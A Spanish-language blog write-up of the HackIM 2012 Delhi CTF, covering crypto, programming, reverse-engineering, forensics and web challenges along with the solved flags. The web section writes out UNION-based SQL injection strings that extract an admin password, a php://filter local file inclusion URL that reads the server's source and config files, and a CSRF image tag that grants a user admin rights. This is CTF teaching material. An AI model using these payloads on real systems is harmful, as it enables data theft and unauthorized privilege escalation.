Hoy ha terminado el HackIM 2012 Delhi, el CTF que antecede la Nullcon y que sirve como clasificatorio para su reto in situ: el JailBrak (Mas información en la entrada del HackIM 2012 Goa).
A diferencia de la edición Goa que terminó en cuanto alguien completó y documentó los 35 niveles (y eso tomó cerca de una semana), en Delhi se jugó contra reloj y la competencia sólo duró dos días (aunque la plataforma sigue disponible). Los colombianos nos enteramos tarde y sólo jugamos durante el segundo día aunque lo hicimos por 23 horas seguidas.
Las categorías son las mismas que en Goa, aunque esta vez solo había 3 retos para la categoría Log Load (100, 300, y 500 puntos), asi que esta vez fueron 33 niveles en total. No alcance a resolver los siguientes niveles: Crypto 4 y 5, Programming 3, 4, y 5, Reverse Me 3 y 5, y Forensics 1, 2 y 5.
Terminé entonces con 23 niveles resueltos y 4950 puntos, lo que me clasificó en la séptima posición.
Por cierto, EL CAPO DOS (en el puesto 9) es otro colombiano que prefiere mantener su identidad en secreto pero todos sabemos quien es, y que perdió algunos puntos por irse a dormir a las 7 am. Tambien estuvó tinpardo se fue a dormir a la 1.00 am pero que alcanzo a ayudar. En los puestos 4 y 5, Himanshu y R3dsm0k3 (really nice guys from India) son los ganadores del JailBreak de Goa en el pasado mes de febrero.
Parece un mensaje en morse y hay herramientas online para resolverlo. Sin embargo, la mayoria espera que presentemos los simbolos como "-" y ".", asi que procesamos un poco el mensaje. Ademas vemos que los caracteres estan separados por espacios, y no se encuentra un separador de letras, pero explorando las fuentes html, vemos que se trata de un truco con el style, y en en verdad, en ocasiones vienen tres espacios juntos, lo que asumimos sera el separador de letras.
(Al pegar en la consola, los "−" se convierten automaticamente en "-", y los "•" en "o")
El mensaje que obtuvimos decodifica desde morse como:
ROTMEYRGFZNXRGUVFJBEYQNORGGRECYNPROLJBEXVATGBJNEQFNTERRAREJBEYQOHGGUVFVFABGJULLBHNERURERLBHNERURERGBXABJGURCNFFJBEQFBVFUBHYQABGJNFGRZBERBSLBHEGVZRNAQTTVIRLBHCNFFJBEQFBGURCNFFJBEQSBEGUVFYRIRYFUBHYQORNYCRAYVORLFBABJORFGBSYHPXSBEARKGYRIRYFOGJGURCNFFJBEQVFGURVAIREFRBSGURINYHRVTNIRRNEYVRE.
Lo que decodifica desde ROT-13 como:
EBGZRLETSMAKETHISWORLDABETTERPLACEBYWORKINGTOWARDSAGREENERWORLDBUTTHISISNOTWHYYOUAREHEREYOUAREHERETOKNOWTHEPASSWORDSOISHOULDNOTWASTEMOREOFYOURTIMEANDGGIVEYOUPASSWORDSOTHEPASSWORDFORTHISLEVELSHOULDBEALPENLIBEYSONOWBESTOFLUCKFORNEXTLEVELSBTWTHEPASSWORDISTHEINVERSEOFTHEVALUEIGAVEEARLIER.
Donde la parte relevante es algo como: "So, the password for this level should be alpenlibey. So, now best of lick for the next levels. BTW, the password is the inverse of the value I gave earlier."
Tinpardo fue el primero en resolver este nivel.
Bandera: yebilneepla
<!-- http://bit.ly/SBFyDr http://bit.ly/SBFyDr http://bit.ly/SBFyDr -->
En http://bit.ly/SBFyDr encontramos una imagen de tres niños jugando a saltar la cuerda.
Aprendemos que en ingles el juego se llama skipping. Se trata de saltarse algunas letras? Tres niños, Tres veces la misma pista…Saltarse tres letras?
Bandera: jadoomanter
<!--
Buscamos "Templars + Knight + Crypto + Pyramid" en Google y en el primer enlace obtenemos la información que buscamos:
Usando tr(1) decodificamos el mensaje usando la tabla de correspondencias que encontramos:
Bandera: pneumonoultramicroscopicsilicovolcanoconiosis
Bandera: 173
Bandera: 69720375229712477164533808935312303556800
Bandera: KABHIKABHIMEREDIL ME
…
Identificanos el binario:
Intentamos depurarlo con ltrace(1), e ingresamos el usuario "null" y el serial "123456":
Cuando ingresamos un serial de 10 caracteres el comportamiento cambia:
Vemos una comparacion con strcmp pero no se trata de nuestro serial sino de alguna transformacion.
Intentamos nuevamente, pero ahora con el serial "0000000000"
El primer string en el strcmp cambia, pero el segundo no. Concluimos que "KBANTXCXCB" es la transformacion del serial correcto.
Antes de intentar reversar la funcion que transforma el serial, haremos una prueba adicional con el serial "1111111111"
Y parece que esto sera mas facil de lo que esperabamos! El serial "0000000000" se transformo en "54761032=<", y el serial "1111111111" se transformo en "65872143>=", por lo que parece simplemente se estan sumando numeros diferentes a cada posicion. Al primer caracter le sumo 5, por eso cambia de 0 a 5 y de 1 a 6, al segundo caracter le sumo 4, por eso cambia de 0 a 4 y de 1 a 5, y asi para los demas, cada posicion con un numero dirente.
Vemos entonces, el primer caracter que espera es una "K", y el primer caracter esta desplazado en cinco unidades, entonces, K - 5? es una "F", vamos a probarlo ingresando el serial "F000000000":
Y efectivamente, tenemos el primer caracter listo!
Con una tabla ascii a la mano y la misma logica para el resto del string, obtenemos:
Bandera: F>:HSX@V66
…
…
…
Creamos una lista de extensiones presentes en el directorio
Inspeccionamos la primera entrada en la lista:
Este es el contenido de sessionstore.bak :
Tenemos la entrada "yek" y el valor "brotherwachowski". Vemos que "yek" es el inverso de "key", asi que tambien invertimos "brotherwachowski" :)
Bandera: ikswohcawrehtorb
./.config/storeme
Bandera: ADS@NTFS_FUN
Creamos un usuario nuevo en la plataforma de juego con ese nombre !!! (idea de nonroot)
Bandera: p|-|p$3r141123r1$(001
Exploramos Web services y vemos que se ofrece una operacion para obtener detalles del empleado: "getEmployeeDetails" junto con un enlace para ver el WSDL del servicio:
http://ctf.nullcon.net/web2/index.php?wsdl
Usamos el complemento SOA Client para Firefox para parsear ese WSDL y vemos que el servicio getEmployeeDetails pertenece al servicio employeedb y que recibe el parametro 'name'.
Si se deja el campo vacio se recibe la informacion del empleado "Guy R Cook" junto con un comentario con informacion valiosa:
Tenemos entonces un comentario con una instrucción SQL con la estructura de la tabla. Este comentario venia escondido entre muchas lineas en blanco, aquí se resume la salida suprimiendo estos blancos. El comentario no se incluirá en las siguientes salidas.
En la salida de la consulta vemos que se nos entregan los campos id, fullname, y title para el empleado. Intentamos entonces una inyeccion SQL variando ligeramente la estructura de la respuesta.
' union all select id, email, title from employees where fullname like '%cook%
Y el sistema acepta la consulta y nos retorna:
Esta vez, en el campo Name encontramos el correo electronico del empleado en lugar de su nombre.
Como no estamos buscando informacion de un usuario con Title="Tech", modificamos nuestra inyeccion a esta:
' union all select id, fullname, password from employees where title like '%admin%
Para obtener el nombre y password del administrador:
Bandera: skdnciu93uwkn9wejr4ms9s0sds0
Este explorador incluye solo dos opciones, y por la forma en que se cargan pesamos en que sea vulnerable a alguna forma de Local File Inclusion .
Home : http://ctf.nullcon.net/buggy_explorer/?inc=home.php
Login : http://ctf.nullcon.net/buggy_explorer/?inc=login.php
Finalmente se utilizó una inclusión php://filter/ para leer el codigo fuente de login.php:
http://ctf.nullcon.net/buggy_explorer/?inc=php://filter/convert.base64-encode/resource=login.php
Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):
Que se decodifica como:
Y asi descubrimos la presencia de "config.php", que descargamos de forma similar con:
Que decodifica como:
Bandera: DAPt9D2mky0APAF
Don't have Account? Register
Vamos a Register donde encontramos un formulario par crear una nueva cuenta:
Creamos una cuenta, volvemos a Log-in e iniciamos sesion, para encontrar esto:
Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
Si vamos a la opcion "Get Flag" nos advierte que "Only Admin user can see the flag." y si vamos a la opcion "Become Admin" encontramos esto:
Become Admin Get Flag Logout
Only Admin user has access to this !!
Si intentamos setear nuestro usuario aqui el sistema ignora la peticion pues no tenemos permisos para ello.
Intenteremos enviar un mensaje al admin con:
<img src="http://ctf.nullcon.net/web4/set_admin.php?user=rmolina&Set=Set" />
Pero es muy largo para este campo asi que usamos TinyURL:
<img src="http://tinyurl.com/8te2wjt" />
Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
Al enviarlo recibimos el mensaje "Mail sent to Admin". Esperamos un momento he intentamos "Get Flag" nuevamente.
Bandera: 1337(52ƒ|-|4)(02
El login tiene cuatro caracteres. Intentamos ahora con el password:
Hacking Attempt Detected
Y funciona a la primera! El loging empieza por "a". Probamos la segunda letra con algo como:
Y vamos incrementado el caracter hasta encontrar el segundo:
Cuyo contenido en claro es:
Bandera: D!28|_|5732!550/\/\|_|(|-|f|_||\|
A diferencia de la edición Goa que terminó en cuanto alguien completó y documentó los 35 niveles (y eso tomó cerca de una semana), en Delhi se jugó contra reloj y la competencia sólo duró dos días (aunque la plataforma sigue disponible). Los colombianos nos enteramos tarde y sólo jugamos durante el segundo día aunque lo hicimos por 23 horas seguidas.
Las categorías son las mismas que en Goa, aunque esta vez solo había 3 retos para la categoría Log Load (100, 300, y 500 puntos), asi que esta vez fueron 33 niveles en total. No alcance a resolver los siguientes niveles: Crypto 4 y 5, Programming 3, 4, y 5, Reverse Me 3 y 5, y Forensics 1, 2 y 5.
Terminé entonces con 23 niveles resueltos y 4950 puntos, lo que me clasificó en la séptima posición.
![]() |
Scoreboard HackIM 2012 Delhi |
Trivia
- Trivia 1 - 50 pts <!-- LKML -->
Magic string Used to Identify hyper V Linux Instance? 0xB16B00B5 - Trivia 2 - 50 pts <!-- metasploit -->
Reboot Exploit patch date (Date format ddmmyyyy)? 09082005 - Trivia 3 - 50 pts <!-- tt0113957 -->
Security software in "the net"? Gatekeeper - Trivia 4 - 50 pts <!-- ftp://ftp.rfc-editor.org/in-notes/ -->
800Bytes OC1 to 400Bytes english poem conversion. RFC? 1605 - Trivia 5 - 50 pts <!-- nm0794890 -->
He worked for a big insurance firm before being forced to drive light bike? Ram
Crypto
Crypto 1 : Lets Play - 100 pts
Lets start with some simple crypto challenges please answer this?
• − • − − − − − − • − • − − • − • − − • • • − • − − • • − • − • • − • − • − − • • • − • • • − • • − • • − − − − • • • • − • − − − − • − − • − − − • − • − − • − − • • − • • − • − • − • − − − • • − − • • − • − − − • − • • • − − − − • • • • − • • − • • • − • − − − − • − • • • • − − − − • • − − • − • • − • − • − • • − • • − • • − • − • • • − − − − • • • • − • − − − − • − − − − • • • • − − • − − • • • − • • • − • • − • • • • − • • − • • − − • • • − − • • − − − • • − • − • • • − • • − • • • • • • • − • • • − • • • − • − • • • − • • − • • − • • • • • • • − • • • − • • • − • − • • • − • − − • − • • • − • • − • − − • • • • − − − − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • − • − • • • • • • − • • − • • • − − • • • • • • • − • − − − − • − • − − • • • − − • • − − − − • • • − • − − • • − • − − • • − • • • • • − • − • • • • • • • − • • − • • • • • • • • − − • • • • − − − • • • − • − • • − − − • − − − • • • − • • • − • • − • • − • • • • • • • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • − • − • • • − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • • − • • • • − − • • • − • • • − • • − • − • − − • − • • • • − • − • − − • • − • • • − − • • • • • • • − • − − − − • − − − − • − • − • − • − − − • − • • − • • − − • − − • • • − − − − • − • • − • • • • − • − • • • • − − • • • • − − − − − − • − • • • − • − − • − • • • • • • − • − − • • • • • − − • − • • − • • • − • • • • • − • − • − • − − − • − • − − • − • • • • − • − • − − • • − • − − − − − • • − − − − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • • − • • − • − − • • • − • − • • • • − • − • • • − • • • • − • • − • − • • • • • • − − • • • − • − • • • − • − • − − • • • • • − • • • • − − − • • • • − • • − • − • • − • − − • • • − • − • • • − • − • −
<!-- Samuel FBM to base, package delivered over -->
Parece un mensaje en morse y hay herramientas online para resolverlo. Sin embargo, la mayoria espera que presentemos los simbolos como "-" y ".", asi que procesamos un poco el mensaje. Ademas vemos que los caracteres estan separados por espacios, y no se encuentra un separador de letras, pero explorando las fuentes html, vemos que se trata de un truco con el style, y en en verdad, en ocasiones vienen tres espacios juntos, lo que asumimos sera el separador de letras.
[rmolina@maybe-failed nullcon]$ echo "o - o - - - - - - o - o - - o - o - - o o o - o - - o o - o - o o - o - o - - o o o - o o o - o o - o o - - - - o o o o - o - - - - o - - o - - - o - o - - o - - o o - o o - o - o - o - - - o o - - o o - o - - - o - o o o - - - - o o o o - o o - o o o - o - - - - o - o o o o - - - - o o - - o - o o - o - o - o o - o o - o o - o - o o o - - - - o o o o - o - - - - o - - - - o o o o - - o - - o o o - o o o - o o - o o o o - o o - o o - - o o o - - o o - - - o o - o - o o o - o o - o o o o o o o - o o o - o o o - o - o o o - o o - o o - o o o o o o o - o o o - o o o - o - o o o - o - - o - o o o - o o - o - - o o o o - - - - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o - o - o o o o o o - o o - o o o - - o o o o o o o - o - - - - o - o - - o o o - - o o - - - - o o o - o - - o o - o - - o o - o o o o o - o - o o o o o o o - o o - o o o o o o o o - - o o o o - - - o o o - o - o o - - - o - - - o o o - o o o - o o - o o - o o o o o o o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o - o - o o o - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o o - o o o o - - o o o - o o o - o o - o - o - - o - o o o o - o - o - - o o - o o o - - o o o o o o o - o - - - - o - - - - o - o - o - o - - - o - o o - o o - - o - - o o o - - - - o - o o - o o o o - o - o o o o - - o o o o - - - - - - o - o o o - o - - o - o o o o o o - o - - o o o o o - - o - o o - o o o - o o o o o - o - o - o - - - o - o - - o - o o o o - o - o - - o o - o - - - - - o o - - - - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o o - o o - o - - o o o - o - o o o o - o - o o o - o o o o - o o - o - o o o o o o - - o o o - o - o o o - o - o - - o o o o o - o o o o - - - o o o o - o o - o - o o - o - - o o o - o - o o o - o - o - " | sed 's/- /-/g;s/o /./g'
.-. --- - -- . -.-- .-. --. ..-. --.. -. -..- .-. --. ..- ...- ..-. .--- -... . -.-- --.- -. --- .-. --. --. .-. . -.-. -.-- -. .--. .-. --- .-.. .--- -... . -..- ...- .- - --. -... .--- -. . --.- ..-. -. - . .-. .-. .- .-. . .--- -... . -.-- --.- --- .... --. --. ..- ...- ..-. ...- ..-. .- -... --. .--- ..- .-.. .-.. -... .... -. . .-. ..- .-. . .-. .-.. -... .... -. . .-. ..- .-. . .-. --. -... -..- .- -... .--- --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ..-. -... ...- ..-. ..- -... .... -.-- --.- .- -... --. .--- -. ..-. --. .-. --.. -... . .-. -... ... .-.. -... .... . --. ...- --.. .-. -. .- --.- - - ...- .. .-. .-.. -... .... -.-. -. ..-. ..-. .--- -... . --.- ..-. -... --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ... -... . --. ..- ...- ..-. -.-- .-. .. .-. -.-- ..-. ..- -... .... -.-- --.- --- .-. -. -.-- -.-. .-. .- -.-- ...- --- .-. .-.. ..-. -... .- -... .--- --- .-. ..-. --. -... ... -.-- .... .--. -..- ... -... . .- .-. -.- --. -.-- .-. .. .-. -.-- ..-. --- --. .--- --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ...- ..-. --. ..- .-. ...- .- .. .-. . ..-. .-. -... ... --. ..- .-. .. -. -.-- .... .-. ...- - -. .. .-. .-. -. . -.-- ...- .-. . .-.-.-
[rmolina@maybe-failed nullcon]$
(Al pegar en la consola, los "−" se convierten automaticamente en "-", y los "•" en "o")
El mensaje que obtuvimos decodifica desde morse como:
ROTMEYRGFZNXRGUVFJBEYQNORGGRECYNPROLJBEXVATGBJNEQFNTERRAREJBEYQOHGGUVFVFABGJULLBHNERURERLBHNERURERGBXABJGURCNFFJBEQFBVFUBHYQABGJNFGRZBERBSLBHEGVZRNAQTTVIRLBHCNFFJBEQFBGURCNFFJBEQSBEGUVFYRIRYFUBHYQORNYCRAYVORLFBABJORFGBSYHPXSBEARKGYRIRYFOGJGURCNFFJBEQVFGURVAIREFRBSGURINYHRVTNIRRNEYVRE.
Lo que decodifica desde ROT-13 como:
EBGZRLETSMAKETHISWORLDABETTERPLACEBYWORKINGTOWARDSAGREENERWORLDBUTTHISISNOTWHYYOUAREHEREYOUAREHERETOKNOWTHEPASSWORDSOISHOULDNOTWASTEMOREOFYOURTIMEANDGGIVEYOUPASSWORDSOTHEPASSWORDFORTHISLEVELSHOULDBEALPENLIBEYSONOWBESTOFLUCKFORNEXTLEVELSBTWTHEPASSWORDISTHEINVERSEOFTHEVALUEIGAVEEARLIER.
Donde la parte relevante es algo como: "So, the password for this level should be alpenlibey. So, now best of lick for the next levels. BTW, the password is the inverse of the value I gave earlier."
Tinpardo fue el primero en resolver este nivel.
Bandera: yebilneepla
Crypto 2 : Rollon - 200 pts
Looks like you want some more try solving this?Bhajan Bazaar Binder Baboos Baboon Bummer Batata Bionic Baxter Behead Beards<!-- http://bit.ly/SBFyDr http://bit.ly/SBFyDr http://bit.ly/SBFyDr -->
En http://bit.ly/SBFyDr encontramos una imagen de tres niños jugando a saltar la cuerda.
Aprendemos que en ingles el juego se llama skipping. Se trata de saltarse algunas letras? Tres niños, Tres veces la misma pista…Saltarse tres letras?
[rmolina@maybe-failed nullcon]$ echo "Bhajan Bazaar Binder Baboos Baboon Bummer Batata Bionic Baxter Behead Beards" | sed "s/^...//g;s/.. ...//g;s/..$//g"
jadoomanter
[rmolina@maybe-failed nullcon]$
Crypto 3 : Templars - 300 pts
Decode this simple Knight in the shining armour Crypto TNPFZANAFGSMCZOIMAEIATOIEOGOIALAGICNAIANOAEOE
/\
___ / \ ___
/ \ __ / \ __ /
/ \ / \ _ / \ _ / \ /
\_/ \_/ \_/________\_/ \_/ \_/
__________________/__I___I___\________________
/_I___I___I__\
/I___I___I___I_\
/___I___I___I___I\
/__I___I___I___I___\
/_I___I___I___I___I__\
/I___I___I___I___I___I_\
/___I___I___I___I___I___I\
/__I___I___I___I___I___I___\
/_I___I___I___I___I___I___I__\
-->
Buscamos "Templars + Knight + Crypto + Pyramid" en Google y en el primer enlace obtenemos la información que buscamos:
Usando tr(1) decodificamos el mensaje usando la tabla de correspondencias que encontramos:
[rmolina@maybe-failed nullcon]$ echo TNPFZANAFGSMCZOIMAEIATOIEOGOIALAGICNAIANOAEOE | tr CQIWPUHVOBGZNATYMESFLDRX a-ik-z
pneumonoultramicroscopicsilicovolcanoconiosis
[rmolina@maybe-failed nullcon]$
Bandera: pneumonoultramicroscopicsilicovolcanoconiosis
Programming
Programming 1 : Friday the 13th - 100 pts
from itertools import takewhile, count
from datetime import date, timedelta
f13 = 0
for year in range(2000,2101):
one_day = timedelta(days=1)
start_year = date(year, 1, 1)
for day in takewhile(lambda d: d <= date(year, 12, 31), (start_year + one_day * c for c in count(0))):
if day.weekday() == 4 and day.day == 13:
f13 = f13 + 1
print f13
Bandera: 173
Programming 2 : Positivity - 200 pts
Positivity?
What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 100?
target = 100
smaller = 1
for i in range(2, target + 1):
factor = 1
while (factor * smaller) % i != 0:
factor = factor + 1
smaller = smaller * factor
print smaller
Bandera: 69720375229712477164533808935312303556800
Reverse Me
Reverse Me 1 : DexTer - 100 pts
Usamos dex2jar para generar un .jar desde el archivo .dex y JD-GUI para decompilar las clases: public class MainActivity extends Activity
{
@SuppressLint({"NewApi"})
public static void a(Context paramContext, String paramString)
{
if (Build.VERSION.SDK_INT < 11)
((android.text.ClipboardManager)paramContext.getSystemService("clipboard")).setText(paramString);
while (true)
{
return;
((android.content.ClipboardManager)paramContext.getSystemService("clipboard")).setPrimaryClip(ClipData.newPlainText("title", paramString));
}
}
private String b()
{
return "KABHI";
}
private String c()
{
return b() + b() + "MERE" + d();
}
private String d()
{
return "DIL ME";
}
Bandera: KABHIKABHIMEREDIL ME
Reverse Me 2 : Dead on Scene - 200 pts
Pendiente…
Reverse Me 4 - 400 pts
En este nivel se nos pide encontrar el serial para el usuario "null" (weeeeee! una de seriales!)Identificanos el binario:
[rmolina@maybe-failed nullcon]$ file null4.exe
null4.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
Intentamos depurarlo con ltrace(1), e ingresamos el usuario "null" y el serial "123456":
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff76756508, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", 782381061, 0x7fff767563c0) = 0x7fff767563c0
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff76756400, 0x7fff76756400, 0x400a7f, 13[+] Serial : 123456
) = 1
puts("[+] Invalid value"[+] Invalid value
) = 18
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
Cuando ingresamos un serial de 10 caracteres el comportamiento cambia:
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff65e3d2d8, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", 1424736261, 0x7fff65e3d190) = 0x7fff65e3d190
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff65e3d1d0, 0x7fff65e3d1d0, 0x400a7f, 13[+] Serial : 0123456789
) = 1
strcmp("55995599EE", "KBANTXCXCB") = -22
puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!
) = 38
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
Vemos una comparacion con strcmp pero no se trata de nuestro serial sino de alguna transformacion.
Intentamos nuevamente, pero ahora con el serial "0000000000"
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff87c82518, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", -1709830139, 0x7fff87c823d0) = 0x7fff87c823d0
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff87c82410, 0x7fff87c82410, 0x400a7f, 13[+] Serial : 0000000000
) = 1
strcmp("54761032=<", "KBANTXCXCB") = -22
puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!
) = 38
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
El primer string en el strcmp cambia, pero el segundo no. Concluimos que "KBANTXCXCB" es la transformacion del serial correcto.
Antes de intentar reversar la funcion que transforma el serial, haremos una prueba adicional con el serial "1111111111"
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff243dd7b8, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", 1651769349, 0x7fff243dd670) = 0x7fff243dd670
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff243dd6b0, 0x7fff243dd6b0, 0x400a7f, 13[+] Serial : 1111111111
) = 1
strcmp("65872143>=", "KBANTXCXCB") = -21
puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!
) = 38
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
Y parece que esto sera mas facil de lo que esperabamos! El serial "0000000000" se transformo en "54761032=<", y el serial "1111111111" se transformo en "65872143>=", por lo que parece simplemente se estan sumando numeros diferentes a cada posicion. Al primer caracter le sumo 5, por eso cambia de 0 a 5 y de 1 a 6, al segundo caracter le sumo 4, por eso cambia de 0 a 4 y de 1 a 5, y asi para los demas, cada posicion con un numero dirente.
Vemos entonces, el primer caracter que espera es una "K", y el primer caracter esta desplazado en cinco unidades, entonces, K - 5? es una "F", vamos a probarlo ingresando el serial "F000000000":
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff13743958, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", 572506117, 0x7fff13743810) = 0x7fff13743810
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff13743850, 0x7fff13743850, 0x400a7f, 13[+] Serial : F000000000
) = 1
strcmp("K4761032=<", "KBANTXCXCB") = -14
puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!
) = 38
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
Y efectivamente, tenemos el primer caracter listo!
Con una tabla ascii a la mano y la misma logica para el resto del string, obtenemos:
[rmolina@maybe-failed nullcon]$ ltrace ./null4.exe
__libc_start_main(0x4006e4, 1, 0x7fff1cff7928, 0x400950, 0x4009e0 <unfinished ...>
puts("\n\n[ Nullcon level-4 challenge ]"
[ Nullcon level-4 challenge ]
) = 32
printf("\n[+] Enter Name: "
) = 17
fgets([+] Enter Name: null
"", -1944305659, 0x7fff1cff77e0) = 0x7fff1cff77e0
printf("[+] Serial : ") = 13
__isoc99_scanf(0x400a80, 0x7fff1cff7820, 0x7fff1cff7820, 0x400a7f, 13[+] Serial : F>:HSX@V66
) = 1
strcmp("KBANTXCXCB", "KBANTXCXCB") = 0
puts("[+] Great work, mate!"[+] Great work, mate!
) = 22
+++ exited (status 0) +++
[rmolina@maybe-failed nullcon]$
Bandera: F>:HSX@V66
Log Load
Log Load 1 : YOU YES BEE - 100 pts
Pendiente…
Log Load 2 : Whisper in the ear - 300 pts
Pendiente…
Log Load 3 : DB FUN - 500 pts
Pendiente…
Forensics
Forensics 3 - 300 pts
Tenemos un directorio leethaxor/ para inspeccionar y rapidamente vemos que incluye cerca de 1000 archivos:
[rmolina@maybe-failed leethaxor]$ find . -type 'f' | wc -l
975
Creamos una lista de extensiones presentes en el directorio
[rmolina@maybe-failed leethaxor]$ for file in `find . -type f`; do echo ${file##*.}; done | grep -v '/' | sort -ui | nl
1 bak
2 css
3 dat
4 db
5 dtd
6 eot
7 html
8 ico
9 idl
10 in
11 ini
12 jar
13 jpg
14 js
15 jsm
16 json
17 little
18 log
19 manifest
20 mf
21 mfl
22 parentlock
23 png
24 properties
25 pset
26 rdf
27 rsa
28 session
29 sf
30 sqlite
31 svg
32 ttf
33 txt
34 woff
35 xhtml
36 xml
37 xpi
38 xpt
39 xul
[rmolina@maybe-failed leethaxor]$
Inspeccionamos la primera entrada en la lista:
[rmolina@maybe-failed leethaxor]$ find . -type 'f' -iname '*.bak'
./sessionstore.bak
Este es el contenido de sessionstore.bak :
{"windows":[{"tabs":[{"entries":[{"url":"about:newtab","title":"New Tab","ID":15,"docshellID":17,"owner_b64":"SmIS26zLEdO3ZQBgsLbOywAAAAAAAAAAwAAAAAAAAEY=","docIdentifier":15,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}}],"selected":1,"_closedTabs":[{"state":{"entries":[{"url":"http://ctf.nullcon.net/test.html","ID":14,"docshellID":16,"docIdentifier":14,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"http://ctf.nullcon.net/index.html","title":"CTF Nullcon","ID":10,"docshellID":14,"docIdentifier":10},{"url":"http://ctf.nullcon.net/test.html","ID":11,"docshellID":14,"docIdentifier":11,"scroll":"0,0"}],"index":2,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"about:newtab","title":"New Tab","ID":12,"docshellID":15,"owner_b64":"SmIS26zLEdO3ZQBgsLbOywAAAAAAAAAAwAAAAAAAAEY=","docIdentifier":12,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}},"title":"New Tab","image":"","pos":1},{"state":{"entries":[{"url":"http://ctf.nullcon.net/index.html","title":"CTF Nullcon","ID":7,"docshellID":13,"docIdentifier":7,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"CTF Nullcon","image":"","pos":0},{"state":{"entries":[{"url":"http://ctf.nullcon.net/test.html","ID":3,"docshellID":8,"docIdentifier":3},{"url":"http://view-sourcectf.nullcon.net/test.html","ID":4,"docshellID":8,"docIdentifier":4},{"url":"view-source:http://ctf.nullcon.net/test.html","title":"http://ctf.nullcon.net/test.html","ID":5,"docshellID":8,"docIdentifier":5},{"url":"http://ctf.nullcon.net/test.html","ID":8,"docshellID":8,"docIdentifier":8,"scroll":"0,0"}],"index":4,"hidden":false,"attributes":{}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"about:home","title":"Mozilla Firefox Start Page","ID":0,"docshellID":7,"owner_b64":"NhAra3tiRRqhyKDUVsktxQAAAAAAAAAAwAAAAAAAAEYAAQAAAAAAAS8nfAAOr03buTZBMmukiq45X+BFfRhK26P9r5jIoa8RAAAAAAVhYm91dAAAAARob21lAODaHXAvexHTjNAAYLD8FKM5X+BFfRhK26P9r5jIoa8RAAAAAA5tb3otc2FmZS1hYm91dAAAAARob21lAAAAAA==","docIdentifier":0},{"url":"http://ctf.nullcon.net/","title":"CTF Nullcon","ID":1,"docshellID":7,"docIdentifier":1,"scroll":"0,0"}],"index":2,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"CTF 